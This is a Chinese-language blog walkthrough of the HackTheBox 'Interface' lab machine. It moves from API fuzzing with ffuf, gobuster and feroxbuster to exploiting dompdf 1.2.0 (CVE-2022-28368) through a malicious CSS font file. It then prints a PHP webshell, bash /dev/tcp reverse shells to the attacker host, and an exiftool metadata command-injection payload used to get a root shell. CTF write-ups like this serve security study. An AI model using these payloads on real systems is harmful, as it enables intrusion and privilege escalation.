首页 > 其他分享 >hackthebox --interface medium

hackthebox --interface medium

时间:2023-05-27 13:11:19浏览次数:49  
标签:medium php -- hackthebox api http shell font css

主机发现

nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports

 

访问80页面,主页面是这样的

 再访问一下index.php或者index.html 发现是404错误,

有可能是里面隐藏了一些api我们可以查看到搜索看看有没有类似的api泄露

利用f12查看js源码

搜索http:// 或者/ 或者/upload

这里搜索到的是/api

 说明这里是有可能跳转到某个api的路径,利用bp在路径上进行访问,并且要用get,post两种不同的方式进行repeat

 可以看到由Next.js支持的 既然是js支持那就是上传的数据最好都是json格式的数据

去掉api单纯看看有无反应 发现200返回

看到右边的返回包有一大段的路径,发现里面有一个域名叫 http://prd.m.rendering-api.interface.htb 一看就是和主题有关的路径,直接访问看看情况如何

 抓包看看具体情况

 发现就只有一个file not found 那是利用get方式还是post方式提交的file呢 如果是post方式的话,interact关键词是什么呢

change一下request method进行上传

ost 方式然后先尝试用关键词file当key进行上传查询

content-type: application/json

{"file":"/etc/passwd"}

仍然是没有找到

利用Fuzz进行查找

copy to file 并修改file->FUZZ  (failure) 这一步是为了在这个页面看看能不能找到一个能够与server interact的参数

利用fuff进行请求

fuff -request file.req -request-proto http -w /opt/xxdictionary -mc all -fs 36

fuff用户手册:mirrors / ffuf / ffuf · GitCode

解析:-request -- File containing the raw http request

   -request-proto  Protocol to use along with raw request (default: https)

   -mc match Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403,405,500)

   -sf Stop when > 95% of responses return 403 Forbidden (default: false)

利用gobuster对新发现域名的爆破

sudo gobuster -u http://prd.m.rendering-api.interface.htb -w /opt/xxx dictionary  -t 100 (指定线程)

gobuster爆破后的结果为0 

再利用post方式进行爆破(新)

sudo gobuster -u http://xx.htb -w -t 100 -m POST 

在爆破之余,将bp替换掉原本的域名index.php换成prd.m.rendering-api.interface.htb 利用api这个已暴露的路径看看是否由返回值

发现同样是404

第二步FUZZ 像gobuster一样爆破 (模糊路径)

fuff -u http://prd.m.rendering-api.interface.htb/FUZZ -w /opt/Seclists/discovery/web-content/raft-small-wordlists.txt -mc all -fs 0 

fuzz出来一个404 和上面自己手动的方式一样

再利用fuzz对api后的路径进行模糊测试

fuff -u http://xx.htb/api/FUZZ -w /opt/xx -mc all -fs (根据输出的多少进行判断) 失败

 再利用post方式进行fuzz

fuff -u http://xx.htb -w /xx -mc all -fs 50 -d ' x=x' 

解析: -d POST data

利用feroxbuster进行爆破路径

feroxbuster -u http://prd.m.rendering-api.interface.htb/api -m GET,POST (新)  成功

 将该html2pdf放入到bp里面repeat

post方式传一下 (一定要注意get post相互转换)

 提示为 missing parameters 就是说我们缺乏一个参数能够与server进行interact的

由于是因为next.js支持,所以post方式一定是json格式进行上传

构造json数据

{"file":"/etc/passwd"}

 改content-type 为application/json

或者直接进行fuzz测试

构造{"FUZZ":"/etc/passwd" }  改content-type 为application/json

copy to file 利用ffuf测试

ffuf -request file.req -request-proto http -w /opt/xx dictionary -mc all -fs 36 (失败)

但是失败原因在于字典没有html 所以有一个好字典是非常重要的

换一个字典继续尝试 

在测试的同时可以手动预估

由于/api后面的路径是html2pdf,所以根据人的习性来说,interact参数可能是html

尝试是不是html (成功)

 同时ffuf换了一个字典之后也成功发现html

利用bp的copy to command curl 利用curl获得返回包的所有数据并拷贝成一个pdf文件

 利用exiftools进行下载查看pdf的类型和版本

producer是dompdf 1.2.0

google it 看看有没有漏洞

发现CVE-2022-28368

本质上是利用css的标签<link rel=stylesheet href='http://kali ip/xx.css'>下载这个css,并运行的时候,css内还有一个内置的外部链接下载另一个php文件

漏洞利用

1.inject css

这段是恶意css 内容复制到please.css里面

@font-face {$

  font-family:'TestFont';$

  src:url('http://kali ip/exploit_font.php')$

  font-weight:'normal';$

  font-style:'normal';$

}$  

kali开启http服务'里面放了一个exploit_font.php 和exploit.css

exploit_font.php是由positive-security/dompdf-rce中 raw下载的攻击php这个攻击php的文件名要对上css里面src对应的文件名

准备就绪后,利用漏洞页面进行html2pdf的页面进行css的上传

写<link rel=style href='http://kali's ip/please.css'>将这段css往漏洞页面上当成json的value进行发送

{"html":"<link rel=stylesheet href='http://kali ip/exploit.css'>"}

 tips:这里是pwn只是名字不相同罢了

观察kali 是否由被下载成功的提示

成功上传后,访问是否成功

根据cve的漏洞提示,这里要将css内的整个src路径的md5打印出来

echo -n 'http://kali ip/exploit_font.php' | md5sum 并将获得的md5值复制到上传的页面

 bp repeat 访问 host :http://prd.m.rendering-api.interface.htb  

路径是 /vender/dempdf/dompdf/lib/fonts/testsfont_normal_md5.php 访问

失败

重新试一次改一个css为pwn2.css其他的不该,此时kali开启的服务文件夹内由exploit_font.php pwn2.css 

pwn2.css包含

@font-face {$

  font-family:'TestFont';$

  src:url('http://kali ip/exploit_font.php')$

  font-weight:'normal';$

  font-style:'normal';$

}$  

这个css样式

重新发送

1.bp访问host: prd.m.rendering-api.interface.htb 路径为/api/html2pdf

{"html":"<link rel=stylesheet href='http://kali ip/pwn2.css'>"}

成功

2.访问上传到的页面

bp repeat 访问 host:prd.m.rendering-api.interface.htb

路径为/vender/dompdf/dompdf/lib/fonts/testfont_normal_md5.php

成功发现执行了exploit_font.php里面的phpinfo命令

修改exploit_font为反弹shell的命令并保存为文件名为font.php

<?php system($_REQEUST['cmd']);?>

保存后,将pwn2.css改名成pwn3.css 并且修改css内src:url的文件名成http://kali ip/font.php

并且将http://kali ip/font.php md5sum成一个md5hash用于拼接

重新利用漏洞上传恶意font.php

1.上传恶意css

2.访问上传后的恶意php文件位置并在下面添加 cmd=bash -i 'bash -c >& /dev/tcp/kali ip/1234 0>&1' 反弹shell

kali监听 nc -lvnp 1234

成功获取shell

成功获取shell发现是一个不完整的shell,因为python -c 'import pty;pty.spawn('/bin/bash');'是直接打出原文,所以要对shell进行修改操作

1.首先添加一个环境变量

export term=xterm

进入到自己的shell中 

stty -a 查看自己的shell的行高和宽高

再次进入到靶机shell中 设置stty的行高列高

stty rows 21 col 121

成功设置为一个交互性良好的shell

tips 从靶机shell ctrl+Z退出后到自己的shell,然后通过fg再次进入到靶机shell中 (应该)

上传pspy监听有没有root执行的sh脚本

发现一条uid=0执行的sh脚本

解析:cache为/tmp目录,变量cfile遍历tmp下所有的文件 if [[ -f "$cfile" ]];then是判断存不存在cfile这个变量 存在执行不存在不执行

并且将cfile变量的所有producer属性变成meta_producer中

cut -d " " -f1 的详细意义是:根据空格作为分隔符,选取每一行的第一个字段。可以理解为提取每一行的第一个单词

利用:在/dev/shm/下创建一个文件shell.sh 

内容

#!/bin/bash

bash -i >& /dev/tcp/kali ip/9001 0>&1 

创建一个cleanme文件

exiftools -producer='arr[$(/dev/shm/shell.sh)]' cleanme 修改cleanme文件的producer属性

将cleanme文件放在/tmp目录下

等待系统任务运行

kali监听9001端口 成功获取一个root权限的shell

完结撒花

阅读链接:https://research.nccgroup.com/2020/05/12/shell-arithmetic-expansion-and-evaluation-abuse/

 

标签:medium,php,--,hackthebox,api,http,shell,font,css
From: https://www.cnblogs.com/lisenMiller/p/17435974.html

相关文章

  • MVCC-数据库
    参考地址:看一遍就理解:MVCC原理详解-掘金(juejin.cn) 1.相关数据库知识点回顾1.1什么是数据库事务,为什么要有事务事务,由一个有限的数据库操作序列构成,这些操作要么全部执行,要么全部不执行,是一个不可分割的工作单位。假如A转账给B100元,先从A的账户里扣除100元,再在......
  • 正点原子imx6ull中sudo命令失效问题
    问题出现事情的起因是这样的,我的imx6ull的板子很久没用了,这次重新上电之后,我习惯性的敲了一个sudo随后就发现报错sudo:errorin/etc/sudo.conf,line0whileloadingplugin`sudoers_policy'sudo:/usr/libexec/sudo/sudoers.somustbeownedbyuid0sudo:fatalerror,un......
  • Netty+Nacos+Disruptor自研企业级API网关-江潭落月复西斜
    Netty+Nacos+Disruptor自研企业级API网关download:3w51xuebccom使用Netty和SpringBoot实现仿微信的示例在本文中,我们将使用Netty和SpringBoot框架来创建一个简单的聊天应用程序,类似于微信。这个应用程序将支持多用户聊天和即时消息发送。下面让我们来一步步看看如何实现。第一步......
  • 小马哥Java分布式架构训练营第一期服务治理-鱼龙潜跃水成文
    小马哥Java分布式架构训练营第一期服务治理download:3w51xuebccom使用Netty和SpringBoot实现仿微信的示例在本文中,我们将使用Netty和SpringBoot框架来创建一个简单的聊天应用程序,类似于微信。这个应用程序将支持多用户聊天和即时消息发送。下面让我们来一步步看看如何实现。第一......
  • Web安全透测试 掌握绝大多数Web漏洞原理及防手段-鸿雁长飞光不度
    Web安全渗测试掌握绝大多数Web漏洞原理及防手段download:3w51xuebccom使用Netty和SpringBoot实现仿微信的示例在本文中,我们将使用Netty和SpringBoot框架来创建一个简单的聊天应用程序,类似于微信。这个应用程序将支持多用户聊天和即时消息发送。下面让我们来一步步看看如何实现......
  • Netty实战(五)
    (ByteBuf—Netty的数据容器)一、什么是ByteBuf我们前面说过,网络数据的基本单位总是字节。JavaNIO提供了ByteBuffer作为它的字节容器,但是这个类使用起来过于复杂,而且也有些繁琐。ByteBuffer替代品是ByteBuf,一个强大的实现,既解决了JDKAPI的局限性,又为网络应用程序的开发者......
  • 数据结构之——栈
    @TOC前言本文主要讲述特殊的线性表——栈:栈是什么,栈的特点数据结构中有一种特殊的线性表叫栈。栈有一种特点:它允许后进入的数据先拿出来。类似一个弹夹,或是一个装砖头的容器。栈的基本操作有如上图:类比一个缸,缸的底端是栈底,顶端是栈顶,放入数据称为入栈,取出数据称为出栈。对于一个......
  • Mysql练习
    1. 练习11.1 选择题   811代码在E:\java学习\初级\course166\db_exercise01--选择题写法对错判断811--错误,as可以省略但是AnnualSalary中间有空格会被认为Salary是最终的别名SELECTename,sal*12ASAnnualSalaryFROMempSELECTename,sal*12AS"AnnualSalary"FR......
  • JDBC概述
    1. JDBC 概述  8201.1 基本介绍1. JDBC为访问不同的数据库提供了统一的接口,为使用者屏蔽了细节问题。2. Java程序员使用JDBC,可以连接任何提供了JDBC驱动程序的数据库系统,从而完成对数据库的各种操作。3. JDBC的基本原理图[重要!]4. 模拟JDBC2. 模拟 JDBC  821代码在c......
  • 封装 JDBCUtils和事务
    1. JDBC 的相关 API 小结  8322. 封装 JDBCUtils 【关闭连接, 得到连接】  8332.1 说明在jdbc操作中,获取连接和释放资源是经常使用到可以将其封装JDBC连接的具类JDBCUtils2.2 代码实现实际使用使用工具类 JDBCUtils代码在com.stulzl.utils.JDBCUtils      833......